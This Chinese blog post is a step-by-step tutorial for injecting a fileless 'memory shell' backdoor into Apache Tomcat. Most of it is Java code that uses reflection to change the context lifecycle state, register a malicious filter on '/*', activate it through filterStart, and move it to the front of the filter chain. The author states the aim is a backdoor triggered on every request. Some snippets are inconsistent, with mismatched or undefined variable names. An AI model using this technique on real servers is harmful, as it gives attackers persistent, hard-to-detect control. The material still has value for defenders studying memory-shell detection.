Tomcat动态注册filter

0x00 背景 / 目的

java内存马中,filter是很重要的一环,这次要实现的是动态注册一个filter,对tomcat接受的所有请求做一个预处理(就是我们的恶意代码)

0x01 思路

接着我的上一篇文章tomcat半通用回显的思路续写

1
http://bubb1e.com/2021/04/21/Tomcat%E5%8D%8A%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE/

目前我们需要解决以下几个问题

  1. 如何动态注册一个filter
  2. 需要把我们注册的filter放在最前面(优先级最高),否则可能会被其他filter过滤掉
  3. 在filter中写入恶意的代码

0x02 细节

如何动态注册filter

在tomcat中,动态注册一个filter的语句是

1
2
3
4
5
6
7
8
9
10
//这里的Bubb1e是一个自定义的类
Filter filterClass = new Bubb1e();

//动态注册一个filter,名字为filtername,类为filterClassName
//这里的servletContext就是通过《tomcat半通用回显》中的方法获得的的
FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("filtername",filterClassName);
//设置默认配置,这里设置了encoding为utf-8
filterRegistration.setInitParameter("encoding","utf-8");
//是否支持异步请求
filterRegistration.setAsyncSupported(false);

Bubb1e类需要包含这些方法,才能被当成一个filter注册

1
2
3
4
5
void init(FilterConfig var1) throws ServletException;

void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException;

void destroy();

其中 doFilter就是注册filter的功能

在tomcat中,为动态注册的filter添加匹配模式和顺序用到的方法是

1
FilterRegistration.addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes,boolean isMatchAfter,String... urlPatterns)

可以看到,该方法用到了三个参数

  1. EnumSet dispatcherTypes

    表示过滤器拦截的类型,可用的有

    类型 说明
    Forward 通过RequestDispatcher的forward(),或者jsp:forward
    Include 通过RequestDispatcher的include(),或者jsp:include
    Request 普通模式,来自客户端的请求
    Error 请求错误页面来处理HTTP错误,例如404,500
    Async 来自AsyncContext的异步请求

    显然,我们要用到的是request

  2. boolean isMatchAfter,动态注册Filter中,过滤顺序由isMatchAfter属性决定

    true表示放在当前应用所有的过滤器之后,false表示将该过滤器放在当前应用所有的过滤器之前

    我们注册的恶意filter优先级一定要高,放在所有过滤器之前,所以这里选false

  3. String… urlPatterns,表示拦截的url

    我们如果想要特定的url触发后门,就匹配恶意的url

    1
    new String[]{"/evil"}

    如果我们想要所有url,无论是否存在,都可以触发后门,那么就匹配所有

    1
    new String[]{"/*"}

综上,我们创建动态filter的代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
//这里的Bubb1e是一个自定义的类
Filter filterClass = new Bubb1e();

//动态注册一个filter,名字为filtername,类为filterClassName
//这里的servletContext就是通过《tomcat半通用回显》中的方法获得的的
FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("filtername",filterClassName);
//设置默认配置,这里设置了encoding为utf-8
filterRegistration.setInitParameter("encoding","utf-8");
//是否支持异步请求
filterRegistration.setAsyncSupported(false);
//配置匹配模式和优先级
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});

但是仅仅如此,是无法成功注册的

跟一下addFilter的代码,可以发现原因,分析见注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
if (filterName != null && !filterName.equals("")) {LifecycleState.STARTING_PREP
//this.context.getState()返回的值是org.apache.catalina.util.LifecycleBase的state变量
//而state变量的值,在代码运行时,就已经是LifecycleState.STARTED,不可能为LifecycleState.STARTING_PREP,所以此处直接throw error了
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));
} else {
FilterDef filterDef = this.context.findFilterDef(filterName);
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
this.context.addFilterDef(filterDef);
} else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}

if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}

return new ApplicationFilterRegistration(filterDef, this.context);
}
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", new Object[]{filterName}));
}
}

所以我们考虑,在需要注册filter的时候,先将这个state的值,通过反射改为LifecycleState.STARTING_PREP,然后注册完毕后再改回来即可 ( 不然filter无法使用 ) ,完整代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//通过反射修改state的值
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//注册filter
Filter filterClass = new Bubb1e();
FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("filtername",filterClassName);
filterRegistration.setInitParameter("encoding","utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//再通过反射把state改回来
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}

你以为就差不多了吗?嘿嘿,还没呢 ~ 不过也就差点细节了

在filter真正实现的地方(org.apache.catalina.core.StandardWrapperValve#invoke 中的 ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); )有这两行

1
2
3
4
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName());

他们分别会去filterMaps数组和filterConfigs数组中寻找filter,但是我们创建filter的时候,仅仅将filter封装成FilterDef添加到了context的filterDefs,而没有对filterMaps和filterConfigs数组做出改动

不过好在,让filter加入filterMaps的过程,已经在为filter配置匹配模式的时候完成了

1
2
3
//配置匹配模式和优先级
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});

也就是说,现在要解决的问题,就是将filter添加进filterConfigs中,这个很简单,直接反射弄进去就好了,但是有没有更简便的方法呢,还真有 :StandardContext中有个filterStart方法刚好能实现我们的要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public boolean filterStart() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Starting filters");
}

boolean ok = true;
synchronized(this.filterConfigs) {
//清空filterConfigs数组
this.filterConfigs.clear();
//从filterDefs数组中获取fitler
Iterator var3 = this.filterDefs.entrySet().iterator();

while(var3.hasNext()) {
Entry<String, FilterDef> entry = (Entry)var3.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}

try {
//把filterDefs数组中获取到的filter,转换成ApplicationFilterConfig,放进filterConfigs数组里
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}

return ok;
}
}

那么第二个问题也解决了

到目前为止,代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//通过反射修改state的值
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//注册filter
Filter filterClass = new Bubb1e();
FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("filtername",filterClassName);
filterRegistration.setInitParameter("encoding","utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//再通过反射把state改回来
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
//通过filterStart方法来将filter添加进filterConfigs数组中
if (standardContext != null) {
//生效filter
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
}

最后再调整一下filter的顺序,把咱们创建的filter挪到第一位

跟一下org.apache.catalina.core.ApplicationFilterFactory#createFilterChain的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
//可以看出,是根据filter在filterMaps数组中的顺序来创建的
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
}

所以,我们来更改一下filterMaps中的顺序即可,最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//通过反射修改state的值
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//注册filter
Filter filterClass = new Bubb1e();
FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("filtername",filterClassName);
filterRegistration.setInitParameter("encoding","utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//再通过反射把state改回来
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}

if (standardContext != null) {
//通过filterStart方法来将filter添加进filterConfigs数组中
//生效filter
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
//更换filterMaps数组的顺序
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}

Over!


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!